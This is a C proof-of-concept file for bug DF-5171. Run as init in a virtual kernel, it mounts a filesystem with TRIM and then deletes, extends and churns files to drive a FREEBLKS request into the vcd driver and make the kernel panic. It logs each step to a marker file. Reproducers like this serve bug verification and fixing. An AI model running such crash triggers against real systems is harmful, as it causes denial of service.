DF-5171 / vcd_trim_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 | /* * DF-5171 PoC - vcdstrategy() panics on BUF_CMD_FREEBLKS (FFS TRIM path). * * Runs as PID1 inside a vkernel booted with: * vkernel64 -m 256M -r root.img -c ffs.img -e init_path=/poc * * Chain: mount -o trim,async /dev/vcd0s0a /mnt * unlink /mnt/junk/data.bin * -> ffs_blkfree() (MNT_TRIM) builds BUF_CMD_FREEBLKS bio * -> vn_strategy -> diskstrategy -> dscheck (passes: in-bounds, aligned) * -> dev_dstrategy(rawdev vcd0) -> vcdstrategy() * -> default: panic("vcd: bad b_cmd 3") * * All diagnostics go to /marker on the (writable vkd0) root fs: the * vkernel does not wire init's stdio to the console. */ #include <errno.h> #include <stdarg.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/mount.h> #include <string.h> #ifndef MNT_TRIM #define MNT_TRIM 0x01000000 #endif int mount(const char *, const char *, int, void *); extern int unmount(const char *, int); struct ufs_args_loc { char *fspec; char export_pad[512]; }; static int consfd = -1; static void logmark(const char *fmt, ...) { va_list ap; char buf[512]; int n; va_start(ap, fmt); n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); if (n > 0) { int fd = open("/marker", O_WRONLY | O_CREAT | O_APPEND, 0644); if (fd >= 0) { write(fd, buf, n); close(fd); } if (consfd < 0) consfd = open("/dev/console", O_WRONLY); if (consfd >= 0) write(consfd, buf, n); } } int main(void) { static struct ufs_args_loc args; int fd, i; const char *nodes[] = { "/dev/vcd0", "/dev/vcd0s0", "/dev/vcd0s0a", NULL }; logmark("DF-5171 vcd FREEBLKS panic PoC start\n"); for (i = 0; nodes[i]; i++) { fd = open(nodes[i], O_RDONLY); logmark("open %s -> %d errno=%d\n", nodes[i], fd, errno); if (fd >= 0) close(fd); } mkdir("/mnt", 0777); args.fspec = "/dev/vcd0s0a"; if (mount("ufs", "/mnt", MNT_TRIM | MNT_ASYNC, &args) < 0) { logmark("mount(vcd0s0a, trim|async) FAILED errno=%d\n", errno); args.fspec = "/dev/vcd0s0"; if (mount("ufs", "/mnt", MNT_TRIM | MNT_ASYNC, &args) < 0) { logmark("mount(vcd0s0, trim|async) FAILED errno=%d\n", errno); logmark("RESULT: mount-failed\n"); return (1); } logmark("mount(vcd0s0) OK\n"); } else { logmark("mount(vcd0s0a, trim|async) OK\n"); } /* verify the trim flag actually landed on the mount */ { struct statfs sf; if (statfs("/mnt", &sf) == 0) logmark("statfs f_flags=%08x MNT_TRIM(0x01000000)=%s\n", (unsigned)sf.f_flags, (sf.f_flags & 0x01000000) ? "SET" : "CLEAR"); else logmark("statfs FAILED errno=%d\n", errno); } logmark("UNLINKING /mnt/junk/data.bin...\n"); if (unlink("/mnt/junk/data.bin") < 0) logmark("unlink FAILED errno=%d (no panic though)\n", errno); else logmark("unlink returned OK\n"); /* * Synchronous trigger: fragment reallocation on block extension * (ffs_realloccg -> ffs_blkfree, ffs_alloc.c:292) issues the * BUF_CMD_FREEBLKS bio from inside write(2). If the driver is * vulnerable the vkernel panics BEFORE this write returns. */ { int fd3; char one[1] = { 'x' }; char big[4096]; memset(big, 'y', sizeof(big)); fd3 = open("/mnt/junk/grow", O_CREAT | O_WRONLY, 0644); if (fd3 < 0) { logmark("open(/mnt/junk/grow) FAILED errno=%d\n", errno); } else { logmark("writing frag...\n"); if (write(fd3, one, 1) != 1) logmark("write1 FAILED errno=%d\n", errno); logmark("extending past frag (realloccg)...\n"); if (write(fd3, big, sizeof(big)) != (ssize_t)sizeof(big)) logmark("write2 FAILED errno=%d\n", errno); else logmark("write2 returned OK\n"); close(fd3); } } /* force deferred ufs_inactive() -> ffs_truncate -> ffs_blkfree */ sync(); sleep(2); logmark("survived sync()\n"); if (unmount("/mnt", 0) == 0) logmark("UNMOUNTED (vflush done)\n"); else logmark("unmount FAILED errno=%d\n", errno); sleep(3); /* last resort: churn the vnode cache to recycle the dead vnode */ { int i; for (i = 0; i < 2000; i++) { char p[64]; int fd2; snprintf(p, sizeof(p), "/mnt/junk/t%d", i); fd2 = open(p, O_CREAT | O_WRONLY, 0644); if (fd2 >= 0) { write(fd2, p, 8); close(fd2); } unlink(p); } logmark("vnode churn done\n"); } sync(); sleep(3); logmark("RESULT: no-panic (STILL ALIVE)\n"); return (0); } |